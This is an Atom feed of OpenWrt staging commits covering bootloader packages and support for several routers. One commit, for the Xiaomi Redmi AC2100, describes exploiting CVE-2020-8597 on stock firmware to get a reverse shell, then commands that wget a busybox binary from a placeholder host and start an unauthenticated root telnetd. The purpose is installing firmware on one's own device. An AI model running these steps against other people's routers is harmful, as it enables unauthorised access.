<feed xmlns='http://www.w3.org/2005/Atom'>
<title>staging/luka/package/boot, branch master</title>
<subtitle>tree of Luka Perkov resides here</subtitle>
<id>https://git.openwrt.org/openwrt/staging/luka/atom?h=master</id>
<link rel='self' href='https://git.openwrt.org/openwrt/staging/luka/atom?h=master'/>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/'/>
<updated>2020-05-28T09:09:10Z</updated>
<entry>
<title>packages/boot: remove rbcfg</title>
<updated>2020-05-28T09:09:10Z</updated>
<author>
<name>Thibaut VARÈNE</name>
</author>
<published>2020-05-21T15:20:55Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=f10da7cb4d44dde346bef73ff4500d91c5730767'/>
<id>urn:sha1:f10da7cb4d44dde346bef73ff4500d91c5730767</id>
<content type='text'>
The new sysfs soft_config driver makes buggy rbcfg obsolete and
entirely replaces it.

Signed-off-by: Thibaut VARÈNE &lt;hacks@slashdirt.org&gt;
</content>
</entry>
<entry>
<title>uboot-envtools: ath79: add Netgear WNDR4300SW</title>
<updated>2020-05-26T13:29:51Z</updated>
<author>
<name>Stijn Segers</name>
</author>
<published>2020-05-26T11:28:18Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=63bef34db99dd58ff935247f9cb8cd8611f43b39'/>
<id>urn:sha1:63bef34db99dd58ff935247f9cb8cd8611f43b39</id>
<content type='text'>
Add Netgear WNDR4300SW to the list of supported boards.

Signed-off-by: Stijn Segers &lt;foss@volatilesystems.org&gt;
</content>
</entry>
<entry>
<title>ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)</title>
<updated>2020-05-20T13:26:22Z</updated>
<author>
<name>Richard Huynh</name>
</author>
<published>2020-04-23T02:50:21Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=f3792690c4f0567a8965d82898295b9d50c3bb7e'/>
<id>urn:sha1:f3792690c4f0567a8965d82898295b9d50c3bb7e</id>
<content type='text'>
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez &lt;bonkilla@gmail.com&gt;
Signed-off-by: Richard Huynh &lt;voxlympha@gmail.com&gt;
</content>
</entry>
<entry>
<title>ramips: add support for Linksys EA7500 v2</title>
<updated>2020-05-17T16:44:28Z</updated>
<author>
<name>Davide Fioravanti</name>
</author>
<published>2020-05-11T23:27:50Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=31b49f02ca8a82a36f920d4b29626f2845e9eb50'/>
<id>urn:sha1:31b49f02ca8a82a36f920d4b29626f2845e9eb50</id>
<content type='text'>
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH:   5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615N (4x4:4)
  - 5GHz:   1x MT7615N (4x4:4)
  - 4 antennas: 3 external detachable antennas and 1 internal
USB:
  - 1x USB 3.0
  - 1x USB 2.0
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x White led (Power)
  - 6x Green leds (link lan1-lan4, link wan, wps)
  - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)

Everything works correctly.

Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.

However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).

After this, you should be back in the OEM firmware.

Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).

When the router reboots flash the “factory” OpenWrt image and this
time it should work.

After the OpenWrt installation you have to use the sysupgrade image
for future updates.

Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.

Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
 1) "kernel" and "rootfs"
 2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.

This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.

A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.

Another way to switch the boot partition is:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.

Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.

However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.

If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

Signed-off-by: Davide Fioravanti &lt;pantanastyle@gmail.com&gt;
Co-Developed-by: Jackson Lim &lt;jackcolentern@gmail.com&gt;
Signed-off-by: Jackson Lim &lt;jackcolentern@gmail.com&gt;
</content>
</entry>
<entry>
<title>mvebu: uDPU: switch default kernel and U-Boot PHY mode</title>
<updated>2020-05-09T12:34:23Z</updated>
<author>
<name>Jakov Petrina</name>
</author>
<published>2020-04-24T12:38:58Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=b1cfbff0a7d386a7b3d3aa19b9971e0ea6d1db65'/>
<id>urn:sha1:b1cfbff0a7d386a7b3d3aa19b9971e0ea6d1db65</id>
<content type='text'>
Certain SFP modules (most notably Nokia GPON ones) first check
connectivity on 1000base-x, and switch to 2500base-x afterwards. This
is considered a quirk so the phylink switches the interface to
2500base-x as well.

However, after power-cycling the uDPU device, network interface/SFP module
will not work correctly until the module is re-seated. This patch
resolves this issue by forcing the interface to be brought up in
2500base-x mode by default.

Signed-off-by: Jakov Petrina &lt;jakov.petrina@sartura.hr&gt;
Signed-off-by: Vladimir Vid &lt;vladimir.vid@sartura.hr&gt;
Cc: Luka Perkov &lt;luka.perkov@sartura.hr&gt;
</content>
</entry>
<entry>
<title>layerscape: update tfa to LSDK-20.04</title>
<updated>2020-05-07T10:53:06Z</updated>
<author>
<name>Yangbo Lu</name>
</author>
<published>2020-03-11T08:28:35Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=12bc4084bd8a03efb7effd1f7f99ecdefe1436e2'/>
<id>urn:sha1:12bc4084bd8a03efb7effd1f7f99ecdefe1436e2</id>
<content type='text'>
Update tfa package to latest LSDK-20.04 dropping one patch
which had already been integrated.

Add fixes,
- Fix DEPENDS/PKG_BUILD_DEPENDS.
- Remove HIDDEN:=1.
- Move intermediate files installing into Build/InstallDev.

Signed-off-by: Yangbo Lu &lt;yangbo.lu@nxp.com&gt;
</content>
</entry>
<entry>
<title>layerscape: update u-boot to LSDK-20.04</title>
<updated>2020-05-07T10:53:06Z</updated>
<author>
<name>Yangbo Lu</name>
</author>
<published>2020-03-11T06:55:36Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=f9155a9b67ac3eb51355a39484f38f95a942d0c0'/>
<id>urn:sha1:f9155a9b67ac3eb51355a39484f38f95a942d0c0</id>
<content type='text'>
Update u-boot package to latest LSDK-20.04 dropping patches
which are no longer needed.
Adapt u-boot bootargs to kernel 5.4 for booting.

Signed-off-by: Yangbo Lu &lt;yangbo.lu@nxp.com&gt;
</content>
</entry>
<entry>
<title>layerscape: define only one package for ls-rcw</title>
<updated>2020-05-07T10:53:06Z</updated>
<author>
<name>Yangbo Lu</name>
</author>
<published>2020-04-01T08:47:41Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=084c82c5b0910c44c3eabb55edf2dfc00a3b5987'/>
<id>urn:sha1:084c82c5b0910c44c3eabb55edf2dfc00a3b5987</id>
<content type='text'>
We do not have to define package for each board, and
consider variant's building/installing.
It is easier to maintain ls-rcw with only one package
installing all boards RCW binaries as intermediate
files, each of which is just about hundreds of bytes.

Signed-off-by: Yangbo Lu &lt;yangbo.lu@nxp.com&gt;
</content>
</entry>
<entry>
<title>mediatek: add uboot</title>
<updated>2020-05-04T14:31:19Z</updated>
<author>
<name>John Crispin</name>
</author>
<published>2020-05-04T14:31:19Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=b9cf9ebdb7aab1be0b9ee9825c71c313259d22da'/>
<id>urn:sha1:b9cf9ebdb7aab1be0b9ee9825c71c313259d22da</id>
<content type='text'>
Signed-off-by: John Crispin &lt;john@phrozen.org&gt;
</content>
</entry>
<entry>
<title>mvebu: tidy up support for GL.iNet GL-MV1000</title>
<updated>2020-04-26T22:25:12Z</updated>
<author>
<name>Adrian Schmutzler</name>
</author>
<published>2020-04-26T22:17:07Z</published>
<link rel='alternate' type='text/html' href='https://git.openwrt.org/openwrt/staging/luka/commit/?id=3fdb08681b36537f430dc55743c90154790554ce'/>
<id>urn:sha1:3fdb08681b36537f430dc55743c90154790554ce</id>
<content type='text'>
This fixes a bunch of cosmetic issues with GL.iNet GL-MV1000:

- apply alphabetic sorting in multiple files
- use armada-3720 prefix for DTS like for other devices
- fix vendor capitalization for model in DTSes
- remove trivial comment in DTS files
- use DEVICE_VENDOR/DEVICE_MODEL
- remove redundant SUPPORTED_DEVICES
- use SOC instead of DEVICE_DTS
- remove empty line at EOF

Fixes: 050c24f05c85 ("mvebu: add support for GL.iNet GL-MV1000")

Signed-off-by: Adrian Schmutzler &lt;freifunk@adrianschmutzler.de&gt;
</content>
</entry>
</feed>
